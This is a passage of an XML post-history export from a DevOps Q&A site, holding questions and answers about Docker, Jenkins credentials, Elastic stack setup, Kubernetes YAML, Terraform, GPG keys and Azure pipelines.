https://www.praqma.com/stories/jenkins-quiet-startup/&#xD;&#xA;  [9]: https://github.com/jenkinsci/configuration-as-code-plugin/blob/master/README.md&#xD;&#xA;  [10]: https://jenkins.io/doc/book/managing/plugins/#removing-old-data&#xD;&#xA;  [11]: https://wiki.jenkins.io/display/JENKINS/Features+controlled+by+system+properties&#xD;&#xA;  [12]: https://wiki.jenkins.io/display/JENKINS/Build+Symlink+Plugin&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30236" PostHistoryTypeId="2" PostId="10052" RevisionGUID="265d96bc-4942-4dde-ae92-0bc9e5181681" CreationDate="2019-12-08T20:57:17.317" UserId="5592" Text="&gt; And then I start like this `docker run -p 21:21 -it --rm 52c0b0362362 bash`&#xD;&#xA;&#xD;&#xA;This would not work by design. When you run the image with the command above you are instructing Docker to overwrite the `CMD` instruction from your Dockerfile and therefore telling it to execute `bash` instead of `sudo myprogram`. It doesn't matter what you have set in the `CMD` instruction - it would never be executed.&#xD;&#xA;&#xD;&#xA;One way you could go around this would be to use [`ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) as others have suggested. This will make `sudo myprogram` the default command and then `CMD` can act as &quot;additional arguments&quot; to the default command (`sudo myprogram`). &#xD;&#xA;&#xD;&#xA;Here's a working example:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;# build.json&#xD;&#xA;{&#xD;&#xA;    &quot;builders&quot;: [&#xD;&#xA;        {&#xD;&#xA;            &quot;type&quot;: &quot;docker&quot;,&#xD;&#xA;            &quot;image&quot;: &quot;ubuntu:latest&quot;,&#xD;&#xA;            &quot;commit&quot;: true,&#xD;&#xA;            &quot;changes&quot;: [&#xD;&#xA;                &quot;ONBUILD RUN apt-get -q update&quot;,&#xD;&#xA;                &quot;ONBUILD RUN apt-get install -y -q htop&quot;,&#xD;&#xA;                &quot;ENTRYPOINT [\&quot;top\&quot;]&quot;&#xD;&#xA;            ]&#xD;&#xA;        }&#xD;&#xA;    ]&#xD;&#xA;}&#xD;&#xA;&#xD;&#xA;# /packer build ./build.json&#xD;&#xA;&#xD;&#xA;# run top with delay 3 sec&#xD;&#xA;# docker run --rm -it sha256:hash&#xD;&#xA;&#xD;&#xA;# run top with delay 1 sec&#xD;&#xA;# docker run --rm -it sha256:hash -d 1&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The other solution would be to keep the `CMD [\&quot;sudo myprogram\&quot;]` instruction but to run the image without adding a command at the end: `docker run -it --rm HASH_ID`. &#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30237" PostHistoryTypeId="34" PostId="9991" RevisionGUID="424a7bbc-67a4-4ce4-a5d4-c96ad7160cef" CreationDate="2019-12-08T21:13:40.807" UserId="18304" Comment="45" />
  <row Id="30238" PostHistoryTypeId="2" PostId="10053" RevisionGUID="440f0e00-b26b-402d-8389-500ea12d8c8c" CreationDate="2019-12-09T09:13:34.567" UserId="12614" Text="In order to pass masked credentials to your Jenkins job, do the following:&#xD;&#xA;&#xD;&#xA;1. In Jenkins, install [Credentials Binding plugin][1].&#xD;&#xA;&#xD;&#xA;2. In your Jenkins, go to Credentials and click the global domain.&#xD;&#xA;&#xD;&#xA;3. In the left pane, click &quot;Add credential&quot;.&#xD;&#xA;&#xD;&#xA;4. From the &quot;Kind&quot; dropdown, choose &quot;Username with password&quot;.&#xD;&#xA;&#xD;&#xA;5. Enter the username and password in the reflective boxes and choose an ID (you will use this ID when you want to access the credentials) and click OK.&#xD;&#xA;&#xD;&#xA;6. Then, in your job, under &quot;Build environment&quot;, check &quot;Use secret text(s) or file(s)&quot; and it will add a &quot;Binding&quot; section and an &quot;Add&quot; button, click the &quot;Add&quot; button and &quot;username and password separated&quot;, choose a variable name to hold the username and another to hold the password and choose the credentials you created earlier from the credentials dropdown.&#xD;&#xA;&#xD;&#xA;7. Then, in the &quot;Build&quot; section of the job, you can access the credentials using your chosen username and password variables.&#xD;&#xA;&#xD;&#xA;I wrote [an article][2] about this subject in the past so feel free to check it for more detailed explanation and screen shots.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Credentials+Binding+Plugin&#xD;&#xA;  [2]: https://www.tikalk.com/posts/2017/03/07/how-to-mask-credentials-in-your-jenkins-jobs/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30239" PostHistoryTypeId="5" PostId="10038" RevisionGUID="ea7fe928-878b-4d95-af46-ee5e2cde9f7c" CreationDate="2019-12-09T09:40:41.493" UserId="354" Comment="Fix spelling" Text="I am trying to **inject my credentials** &#xD;&#xA;to a Jenkins Freestyle project.&#xD;&#xA;&#xD;&#xA;The project is building a python project in virtual environment&#xD;&#xA;with &quot;behave&quot; created with ShiningPanda plugin&#xD;&#xA;&#xD;&#xA;can someone help me ?&#xD;&#xA;thanks&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30240" PostHistoryTypeId="5" PostId="10008" RevisionGUID="cc511189-594b-48db-be4f-d3d98b5f4e5f" CreationDate="2019-12-09T10:25:39.880" UserId="210" Comment="added 356 characters in body" Text="Elastic was not able to start. The logging indicated:&#xD;&#xA;&#xD;&#xA;    [2019-12-09T10:22:15,124][INFO ][o.e.b.BootstrapChecks    ] [kViKuCL] bound&#xD;&#xA;    or publishing to a non-loopback address, enforcing bootstrap checks&#xD;&#xA;    ERROR: [1] bootstrap checks failed&#xD;&#xA;    [1]: max virtual memory areas vm.max_map_count [65530] is too low,&#xD;&#xA;    increase to at least [262144]&#xD;&#xA;&#xD;&#xA;The latter is also depicted in the [README.md][1]:&#xD;&#xA;&#xD;&#xA;    sudo sysctl -w vm.max_map_count=262144&#xD;&#xA;&#xD;&#xA;Once this was changed and &#xD;&#xA;&#xD;&#xA;    docker-compose -f setup.yml up --remove-orphans&#xD;&#xA;&#xD;&#xA;[was run][2], the logging continued:&#xD;&#xA;&#xD;&#xA;    setup_1  | setup_packetbeat       | Loading dashboards (Kibana must be running and reachable)&#xD;&#xA;    setup_1  | setup_heartbeat        | Loaded dashboards&#xD;&#xA;    setup_1  | setup_heartbeat        | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_heartbeat exited with code 0&#xD;&#xA;    setup_1  | setup_auditbeat        | Loaded dashboards&#xD;&#xA;    setup_1  | setup_auditbeat        | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_auditbeat exited with code 0&#xD;&#xA;    setup_1  | setup_packetbeat       | Loaded dashboards&#xD;&#xA;    setup_1  | setup_packetbeat       | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_packetbeat exited with code 0&#xD;&#xA;    setup_1  | setup_metricbeat       | Loaded dashboards&#xD;&#xA;    setup_1  | setup_metricbeat       | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_metricbeat exited with code 0&#xD;&#xA;    setup_1  | setup_filebeat         | Loaded dashboards&#xD;&#xA;    setup_1  | setup_filebeat         | Loaded machine learning job configurations&#xD;&#xA;    setup_1  | setup_filebeat         | Copy keystore to ./config dir&#xD;&#xA;    setup_1  | setup_filebeat exited with code 0&#xD;&#xA;    setup_1  | Setup completed successfully. To start the stack please run:&#xD;&#xA;    setup_1  | 	 docker-compose up -d&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | If you wish to remove the setup containers please run:&#xD;&#xA;    setup_1  | 	docker-compose -f docker-compose.yml -f docker-compose.setup.yml down --remove-orphans&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | You will have to re-start the stack after removing setup containers.&#xD;&#xA;    setup_1  | &#xD;&#xA;    setup_1  | Your 'elastic' user password is: mnQ9c5FCGT09sRgHPnw27A==&#xD;&#xA;    stack-docker_setup_1 exited with code 0&#xD;&#xA;&#xD;&#xA;Subsequently, running `docker-compose up -d`, resulted in:&#xD;&#xA;&#xD;&#xA;    Recreating elasticsearch ... done&#xD;&#xA;    Recreating kibana        ... done&#xD;&#xA;    Creating logstash        ... done&#xD;&#xA;    Creating apm_server      ... done&#xD;&#xA;    Creating packetbeat      ... done&#xD;&#xA;    Creating metricbeat      ... done&#xD;&#xA;    Creating filebeat        ... done&#xD;&#xA;    Creating heartbeat       ... done&#xD;&#xA;    Creating auditbeat       ... done&#xD;&#xA;&#xD;&#xA;Navigating to http://localhost:5601 returns the kibana UI.&#xD;&#xA;&#xD;&#xA;[![enter image description here][3]][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/elastic/stack-docker&#xD;&#xA;  [2]: https://github.com/elastic/stack-docker/issues/73#issuecomment-476068864&#xD;&#xA;  [3]: https://i.stack.imgur.com/kIFlT.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30241" PostHistoryTypeId="2" PostId="10054" RevisionGUID="e49c2dbb-43ac-4249-a630-ea200aaadfc4" CreationDate="2019-12-09T11:17:24.923" UserId="18127" Text="I have following `yaml` file:&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    apiVersion: v1&#xD;&#xA;    kind: pod&#xD;&#xA;    metadata:&#xD;&#xA;        name: Tesing_for_Image_pull.pod &#xD;&#xA;        spec:&#xD;&#xA;            containers:&#xD;&#xA;            - name: mysql &#xD;&#xA;              image: mysql &#xD;&#xA;              imagePullPolicy: Always &#xD;&#xA;              command: [&quot;echo&quot;, &quot;SUCCESS&quot;]  &#xD;&#xA;When I use `kubectl create -f Tesing_for_Image_pull.yaml` , I get the following error:&#xD;&#xA;&#xD;&#xA;    error: error validating &quot;Tesing_for_Image_pull.yaml&quot;: error validating data: couldn't find type: v1.pod; if you choose to ignore these errors, turn validation off with --validate=false&#xD;&#xA;&#xD;&#xA;How can I solve my problem?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30242" PostHistoryTypeId="1" PostId="10054" RevisionGUID="e49c2dbb-43ac-4249-a630-ea200aaadfc4" CreationDate="2019-12-09T11:17:24.923" UserId="18127" Text="error validating data: couldn't find type" ContentLicense="CC BY-SA 4.0" />
  <row Id="30243" PostHistoryTypeId="3" PostId="10054" RevisionGUID="e49c2dbb-43ac-4249-a630-ea200aaadfc4" CreationDate="2019-12-09T11:17:24.923" UserId="18127" Text="&lt;yaml&gt;&lt;kubectl&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30251" PostHistoryTypeId="5" PostId="10044" RevisionGUID="b69cb3cf-7515-4ca0-b0a5-bb2d991598ca" CreationDate="2019-12-09T18:10:09.443" UserId="3062" Comment="added word to remove confusion" Text="These are really the pitfalls as running a VM or traditional server with 32 bit CPUs.  Most notably is memory addressing.  32 bit CPUs can only access up to 4 gigs of memory.  This isn't something i would expect most containers have an issue with as they should be single, small, light applications.  One thing that you might run into is any binary built targeting specifically 64 bit architecture will not be able to run.  This is any application and their DLLs.  I don't think any web API will have issues with this, you will need to be aware of console applications.  Most dot net applications target `any cpu` allowing the runtime to target the correct underlying architecture.  There are applications that do target specific architectures and you will need to be aware of which ones they are.&#xD;&#xA;&#xD;&#xA;In today's world, storage space is cheap.  The exception to this rule is embedded development (but I don't think that is the case here).  You need to ask yourself, is the extra 4% saved space worth the cost of me managing and ensuring that all the applications i'm running work on a 32 bit architecture.  Remember 32 bit applications will run on 64 bit architecture, but not the other way around.  Unless there is a specific need to only run 32 bit, like testing an emulated embedded environment (which is only 32 bit), I would just go with the 64 bit versions of everything.  To me, using 32 bit is solving a problem you don't actually have." ContentLicense="CC BY-SA 4.0" />
  <row Id="30252" PostHistoryTypeId="2" PostId="10056" RevisionGUID="d62f0618-a7dc-4698-8211-ceac4eb3a7fd" CreationDate="2019-12-09T18:43:56.717" UserId="17508" Text="kubernetes is picky and case-sensitive:&#xD;&#xA;&#xD;&#xA;`kind: Pod`&#xD;&#xA;&#xD;&#xA;should do it.&#xD;&#xA;&#xD;&#xA;Also, `spec` should not be in `metadata`:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: v1&#xD;&#xA;kind: Pod&#xD;&#xA;metadata:&#xD;&#xA;  name: Testing&#xD;&#xA;spec:&#xD;&#xA;  containers:&#xD;&#xA;  - name: mysql&#xD;&#xA;    image: mysql&#xD;&#xA;    imagePullPolicy: Always&#xD;&#xA;    command: [&quot;echo&quot;, &quot;SUCCESS&quot;]&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="30272" PostHistoryTypeId="11" PostId="9887" RevisionGUID="8d20e81b-3f1a-4f6e-9296-8b3753a18e24" CreationDate="2019-12-10T05:14:27.277" UserId="40" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;}]}" />
  <row Id="30276" PostHistoryTypeId="2" PostId="10060" RevisionGUID="48125b51-10f3-42c5-a7f4-5d1a9621273b" CreationDate="2019-12-10T09:15:11.327" UserId="18589" Text="I want to copy file from different environment in jenkins. Can you please guide me to choose the plugin for copying&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30277" PostHistoryTypeId="1" PostId="10060" RevisionGUID="48125b51-10f3-42c5-a7f4-5d1a9621273b" CreationDate="2019-12-10T09:15:11.327" UserId="18589" Text="Which plugin is used to copy file from different environment in jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="30278" PostHistoryTypeId="3" PostId="10060" RevisionGUID="48125b51-10f3-42c5-a7f4-5d1a9621273b" CreationDate="2019-12-10T09:15:11.327" UserId="18589" Text="&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30279" PostHistoryTypeId="2" PostId="10061" RevisionGUID="1f061d7e-8a21-44d1-8792-dc0beb093c27" CreationDate="2019-12-10T10:01:39.210" UserId="354" Text="You are probably looking for something like the [Config File Provider](https://plugins.jenkins.io/config-file-provider). Its plugin page describes it as a plugin which:&#xD;&#xA;&#xD;&#xA;&gt;  Adds the ability to provide configuration files (i.e., settings.xml for maven, XML, groovy, custom files, etc.) loaded through the Jenkins UI which will be copied to the job's workspace. &#xD;&#xA;&#xD;&#xA;If you need something more like a script (as opposed to the configuration file scenario above), you may be interested in the [Managed Script](https://plugins.jenkins.io/managed-scripts) plugin. This allows jobs to consume scripts which are centrally stored and defined by the Jenkins admins:&#xD;&#xA;&#xD;&#xA;&gt;  Managed scripts are shell scripts which are managed centrally by an administrator and can be referenced as a build step within jobs.&#xD;&#xA;&#xD;&#xA;If these do not suit your needs, try looking at the [Jenkins plugins list](https://plugins.jenkins.io/)" ContentLicense="CC BY-SA 4.0" />
  <row Id="30285" PostHistoryTypeId="5" PostId="10048" RevisionGUID="12a4e118-4a63-4588-a3a0-2dff4d3b37f5" CreationDate="2019-12-10T10:52:51.030" UserId="18007" Comment="deleted 224 characters in body" Text=" have a pipeline job which keeps failing on Sonar Quality Gate stage with the below error:&#xD;&#xA;&#xD;&#xA;&gt; [Bitbucket] Build result notified&#xD;&#xA;&gt; org.sonarqube.ws.client.HttpException: Error 403 on&#xD;&#xA;&gt; http://illinXXXX:XXXXX/api/qualitygates/project_status?analysisId=XXXXXXXX&#xD;&#xA;&gt;     at org.sonarqube.ws.client.BaseResponse.failIfNotSuccessful(BaseResponse.java:34)&#xD;&#xA;&#xD;&#xA;What's more strange, another pipeline from the same MS, is passing that stage. They both are using the same Sonarquebe user and token, and the same stage syntax. &#xD;&#xA;&#xD;&#xA;Sonarqube version: 6.7.1 (build 35068)." ContentLicense="CC BY-SA 4.0" />
  <row Id="30286" PostHistoryTypeId="2" PostId="10063" RevisionGUID="9638cb1d-469a-4061-b7ff-027a2c42842f" CreationDate="2019-12-10T10:53:24.240" UserId="354" Text="In the hope of resurrecting this question, I will give my opinionated answer.&#xD;&#xA;&#xD;&#xA;As I understand it, the use of Vault is part of the drive to give **more autonomy to teams**, by removing fear of leaking or changing secrets. By providing somewhere to store and manage secrets, ops can give dev the means to continue developing at their own pace, following the practices of continuous integration and working in small batches.&#xD;&#xA;&#xD;&#xA;With a product like Vault in the pipeline, secrets can be consumed safely in the various phases - build, test, bake, deploy, etc. Implementing Vault in practice means less personal interaction with the service, but more machine interaction with the service, from trusted components in the pipeline.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30298" PostHistoryTypeId="2" PostId="10066" RevisionGUID="7b96704b-563f-4699-aebe-def84df64d60" CreationDate="2019-12-10T14:35:16.887" UserId="3062" Text="To ensure separation and use in other environments, make sure to have an outputs file and set each password as an output.  [TF Output Docs](https://www.terraform.io/docs/configuration/outputs.html).  I haven't done much with for each as it was just released last time I used terraform.  I would imagine a way to iterate over passwords and assign them as outputs.&#xD;&#xA;&#xD;&#xA;once you have the output set for the module, I would then have my consuming terraform put those values in a password vault of some kind.  You can use Azure's Key Vault.  [TF Azure Key Vault](https://www.terraform.io/docs/providers/azurerm/r/key_vault.html), or any other solution.  Just ensure that the ops team has access to the destination.  This way there isn't anything introduced between when/where the keys are generated and them being stored, reducing the chance for human error." ContentLicense="CC BY-SA 4.0" />
  <row Id="30299" PostHistoryTypeId="2" PostId="10067" RevisionGUID="091968a0-f9b7-4bc4-a9a1-ed992a350bee" CreationDate="2019-12-10T14:48:12.060" UserId="18443" Text="I'm also a fan of DZone. Another good place is [DevOps.com][1] Also, the [Sonatype blog][2] and [All Day DevOps][3] regularly feature DevOps news, too [disclosure, I contribute to all of these] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.com/&#xD;&#xA;  [2]: https://blog.sonatype.com/&#xD;&#xA;  [3]: https://www.alldaydevops.com/blog" ContentLicense="CC BY-SA 4.0" />
  <row Id="30300" PostHistoryTypeId="19" PostId="9996" RevisionGUID="f213b794-e666-4e98-ac50-29263353ff85" CreationDate="2019-12-10T14:56:23.070" UserId="210" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:210,&quot;DisplayName&quot;:&quot;030&quot;}]}" />
  <row Id="30304" PostHistoryTypeId="2" PostId="10069" RevisionGUID="e1bdfd1a-9aeb-4beb-b78c-a4edbd686c5f" CreationDate="2019-12-10T18:08:14.717" UserId="6131" Text="After searching and reading various documents it remains unclear to me as to an effective/straightforward manner to create/maintain multiple sets of GPG Keys.&#xD;&#xA;&#xD;&#xA;I have a project that needs unique GPG Keys per environment and each user has their own GPG Key.&#xD;&#xA;&#xD;&#xA;I would envision the most secure and best practice is for each environment would have its own `gpg --gen-key` results for which to base its own private and public keys. From there an admin could add a user to each environment as needed.&#xD;&#xA;&#xD;&#xA;Or am I just missing the point all together?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30305" PostHistoryTypeId="1" PostId="10069" RevisionGUID="e1bdfd1a-9aeb-4beb-b78c-a4edbd686c5f" CreationDate="2019-12-10T18:08:14.717" UserId="6131" Text="How to create unique GPG Keys for different environments / projects" ContentLicense="CC BY-SA 4.0" />
  <row Id="30306" PostHistoryTypeId="3" PostId="10069" RevisionGUID="e1bdfd1a-9aeb-4beb-b78c-a4edbd686c5f" CreationDate="2019-12-10T18:08:14.717" UserId="6131" Text="&lt;security&gt;&lt;encryption&gt;&lt;gpg&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30308" PostHistoryTypeId="2" PostId="10070" RevisionGUID="bcd12770-2b51-41cf-a4ce-2539f621b900" CreationDate="2019-12-10T23:28:48.750" UserId="18606" Text="Trying to do something simple. Either access the name of the artifact from my release pipeline via some predefined variable, or create a variable for both my build and release pipeline for the artifact name. I don't want to hard-code it.&#xD;&#xA;I would like my build and release pipelines decoupled.&#xD;&#xA;&#xD;&#xA;[![Variable Group Details][1]][1]&#xD;&#xA;&#xD;&#xA;Publish Build Artifacts YAML:&#xD;&#xA;&#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;      inputs:&#xD;&#xA;        PathtoPublish: 'dist'&#xD;&#xA;        ArtifactName: $(Storage.ArtifactName)&#xD;&#xA;        publishLocation: 'Container'&#xD;&#xA;      displayName: 'publish artifact'&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    ##[section]Starting: publish artifact&#xD;&#xA;    ==============================================================================&#xD;&#xA;    Task         : Publish build artifacts&#xD;&#xA;    Description  : Publish build artifacts to Azure Pipelines or a Windows file share&#xD;&#xA;    Version      : 1.158.1&#xD;&#xA;    Author       : Microsoft Corporation&#xD;&#xA;    Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/publish-build-artifacts&#xD;&#xA;    ==============================================================================&#xD;&#xA;    ##[section]Async Command Start: Upload Artifact&#xD;&#xA;    Uploading 10 files&#xD;&#xA;    File upload succeed.&#xD;&#xA;    Upload '/home/vsts/work/1/s/dist' to file container: '#/3928702/$(Storage.ArtifactName)'&#xD;&#xA;    Associated artifact 10 with build 58&#xD;&#xA;    ##[section]Async Command End: Upload Artifact&#xD;&#xA;    ##[section]Finishing: publish artifact&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/ENmeH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30309" PostHistoryTypeId="1" PostId="10070" RevisionGUID="bcd12770-2b51-41cf-a4ce-2539f621b900" CreationDate="2019-12-10T23:28:48.750" UserId="18606" Text="Azure DevOps Build and Release pipeline artifact name variable" ContentLicense="CC BY-SA 4.0" />
  <row Id="30310" PostHistoryTypeId="3" PostId="10070" RevisionGUID="bcd12770-2b51-41cf-a4ce-2539f621b900" CreationDate="2019-12-10T23:28:48.750" UserId="18606" Text="&lt;azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30311" PostHistoryTypeId="5" PostId="10070" RevisionGUID="9b82eec3-6880-4285-b8e5-a92746e29309" CreationDate="2019-12-10T23:55:28.023" UserId="18606" Comment="Added link, boldened more relevant code." Text="Trying to do something simple. Either access the name of the artifact from my release pipeline via some [predefined variable][1], or create a variable for both my build and release pipeline for the artifact name. I don't want to hard-code it.&#xD;&#xA;I would like my build and release pipelines decoupled.&#xD;&#xA;&#xD;&#xA;[![Variable Group Details][2]][2]&#xD;&#xA;&#xD;&#xA;Publish Build Artifacts YAML:&#xD;&#xA;&#xD;&#xA;    - task: PublishBuildArtifacts@1&#xD;&#xA;      inputs:&#xD;&#xA;        PathtoPublish: 'dist'&#xD;&#xA;        **ArtifactName: $(Storage.ArtifactName)**&#xD;&#xA;        publishLocation: 'Container'&#xD;&#xA;      displayName: 'publish artifact'&#xD;&#xA;&#xD;&#xA;Output:&#xD;&#xA;&#xD;&#xA;    ##[section]Starting: publish artifact&#xD;&#xA;    ==============================================================================&#xD;&#xA;    Task         : Publish build artifacts&#xD;&#xA;    Description  : Publish build artifacts to Azure Pipelines or a Windows file share&#xD;&#xA;    Version      : 1.158.1&#xD;&#xA;    Author       : Microsoft Corporation&#xD;&#xA;    Help         : https://docs.microsoft.com/azure/devops/pipelines/tasks/utility/publish-build-artifacts&#xD;&#xA;    ==============================================================================&#xD;&#xA;    ##[section]Async Command Start: Upload Artifact&#xD;&#xA;    Uploading 10 files&#xD;&#xA;    File upload succeed.&#xD;&#xA;    **Upload '/home/vsts/work/1/s/dist' to file container: '#/3928702/$(Storage.ArtifactName)'**&#xD;&#xA;    Associated artifact 10 with build 58&#xD;&#xA;    ##[section]Async Command End: Upload Artifact&#xD;&#xA;    ##[section]Finishing: publish artifact&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/pipelines/release/variables?view=azure-devops&amp;tabs=batch#default-variables&#xD;&#xA;  [2]: https://i.stack.imgur.com/ENmeH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30312" PostHistoryTypeId="2" PostId="10071" RevisionGUID="50178b48-aa67-4d78-89c1-2624cb54d9da" CreationDate="2019-12-11T01:09:43.210" UserId="18607" Text="I can successfully upload a file to my S3 bucket using the AWS cli version 1 with my normal linux user. However, I'm having trouble doing the same with Apache2's www-data.&#xD;&#xA;&#xD;&#xA;I have a personal project where I have a web form and after submission, I use shell_exec to run some shell commands. I've tried the following command but it does not seem to work and I'm not getting any errors so debugging is a bit hard:&#xD;&#xA;&#xD;&#xA;    shell_exec('/home/pi/./local/bin/aws s3 cp /path/to/test.txt s3://s3-bucket-name/');&#xD;&#xA;&#xD;&#xA;If it makes any difference, I'm doing this on a Raspberry Pi. I'm suspecting it has something to do with the fact that AWS CLI has been installed under the normal user I use and www-data cannot access it.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30313" PostHistoryTypeId="1" PostId="10071" RevisionGUID="50178b48-aa67-4d78-89c1-2624cb54d9da" CreationDate="2019-12-11T01:09:43.210" UserId="18607" Text="How to run aws cli with www-data?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30314" PostHistoryTypeId="3" PostId="10071" RevisionGUID="50178b48-aa67-4d78-89c1-2624cb54d9da" CreationDate="2019-12-11T01:09:43.210" UserId="18607" Text="&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30318" PostHistoryTypeId="2" PostId="10073" RevisionGUID="3defca5b-b884-4d4c-8bb2-9d3ac928219a" CreationDate="2019-12-11T04:42:24.283" UserId="10550" Text="**Situation**&#xD;&#xA;&#xD;&#xA;I have a docker image on a Linux box. I push it onto a docker registry (AWS ECR).&#xD;&#xA;&#xD;&#xA;Then, I use the image pushed onto that docker registry in a K8s pod.&#xD;&#xA;&#xD;&#xA;**Question**&#xD;&#xA;&#xD;&#xA;How do I know the docker image used for the K8s pod is the same as the one on the Linux box? Note that the tag is irrelevant. I set it to different things all the time.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30319" PostHistoryTypeId="1" PostId="10073" RevisionGUID="3defca5b-b884-4d4c-8bb2-9d3ac928219a" CreationDate="2019-12-11T04:42:24.283" UserId="10550" Text="Is it reliable to use Docker's hash as a mean to determine image's version between different platform" ContentLicense="CC BY-SA 4.0" />
  <row Id="30320" PostHistoryTypeId="3" PostId="10073" RevisionGUID="3defca5b-b884-4d4c-8bb2-9d3ac928219a" CreationDate="2019-12-11T04:42:24.283" UserId="10550" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30338" PostHistoryTypeId="2" PostId="10074" RevisionGUID="f500cc96-f032-413b-8f62-197ea9cd5b4b" CreationDate="2019-12-11T13:16:51.253" UserId="18614" Text="For example, AWS announced their new &quot;RDS Proxy&quot; service at re:Invent 2019 and it is now in preview. How can I find out when/if Terraform will support this (for planning purposes)?&#xD;&#xA;&#xD;&#xA;https://aws.amazon.com/about-aws/whats-new/2019/12/amazon-rds-proxy-available-in-preview/" ContentLicense="CC BY-SA 4.0" />
  <row Id="30339" PostHistoryTypeId="1" PostId="10074" RevisionGUID="f500cc96-f032-413b-8f62-197ea9cd5b4b" CreationDate="2019-12-11T13:16:51.253" UserId="18614" Text="How can I find out when Terraform will support newly released AWS services?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30340" PostHistoryTypeId="3" PostId="10074" RevisionGUID="f500cc96-f032-413b-8f62-197ea9cd5b4b" CreationDate="2019-12-11T13:16:51.253" UserId="18614" Text="&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30341" PostHistoryTypeId="2" PostId="10075" RevisionGUID="72a9bf6d-a5c4-492b-a529-735ca6778057" CreationDate="2019-12-11T13:22:16.077" UserId="7730" Text="Terraform is an open source project that is [managed on GitHub](https://github.com/hashicorp/terraform). You can follow existing issues or open a new one if your enhancement request isn't found. See their issue list at: https://github.com/hashicorp/terraform/issues" ContentLicense="CC BY-SA 4.0" />
  <row Id="30342" PostHistoryTypeId="5" PostId="10071" RevisionGUID="48f7792b-9b75-4b3d-b631-27ff9e7a32e7" CreationDate="2019-12-11T13:44:00.283" UserId="18607" Comment="added 247 characters in body" Text="I can successfully upload a file to my S3 bucket using the AWS cli version 1 with my normal linux user. However, I'm having trouble doing the same with Apache2's www-data.&#xD;&#xA;&#xD;&#xA;I have a personal project where I have a web form and after submission, I use shell_exec to run some shell commands. I've tried the following command but it does not seem to work and I'm not getting any errors so debugging is a bit hard:&#xD;&#xA;&#xD;&#xA;    shell_exec('/home/pi/./local/bin/aws s3 cp /path/to/test.txt s3://s3-bucket-name/');&#xD;&#xA;&#xD;&#xA;If it makes any difference, I'm doing this on a Raspberry Pi. I'm suspecting it has something to do with the fact that AWS CLI has been installed under the normal user I use and www-data cannot access it.&#xD;&#xA;&#xD;&#xA;Any suggestions?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Edit: One solution I found was to use allow www-data to run commands with another user without prompting for password. So this worked then:&#xD;&#xA;&#xD;&#xA;    shell_exec('sudo -u pi /home/pi/.local/bin/aws s3 cp /path/to/test.txt s3://s3-bucket-name/');" ContentLicense="CC BY-SA 4.0" />
  <row Id="30346" PostHistoryTypeId="2" PostId="10077" RevisionGUID="b595497e-05fd-4c71-9918-0434eda23e32" CreationDate="2019-12-11T17:02:34.450" UserId="18620" Text="I'm using the following resources as a guide to git flow:&#xD;&#xA;&#xD;&#xA; - [git-flow cheatsheet][1]&#xD;&#xA; - [git-flow][2]&#xD;&#xA; - [Using git-flow to automate your git branching workflow][3]&#xD;&#xA;&#xD;&#xA;However, none of them explicitly mention at what point you perform the npm publish from. Do you do this after you have bumped the version number but before you finish the release? This would mean the publish is coming from the release branch. Or do you finish the release then perform the publish from the master branch?&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: https://danielkummer.github.io/git-flow-cheatsheet/&#xD;&#xA;  [2]: https://www.git-tower.com/learn/git/ebook/en/command-line/advanced-topics/git-flow&#xD;&#xA;  [3]: https://jeffkreeftmeijer.com/git-flow/" ContentLicense="CC BY-SA 4.0" />
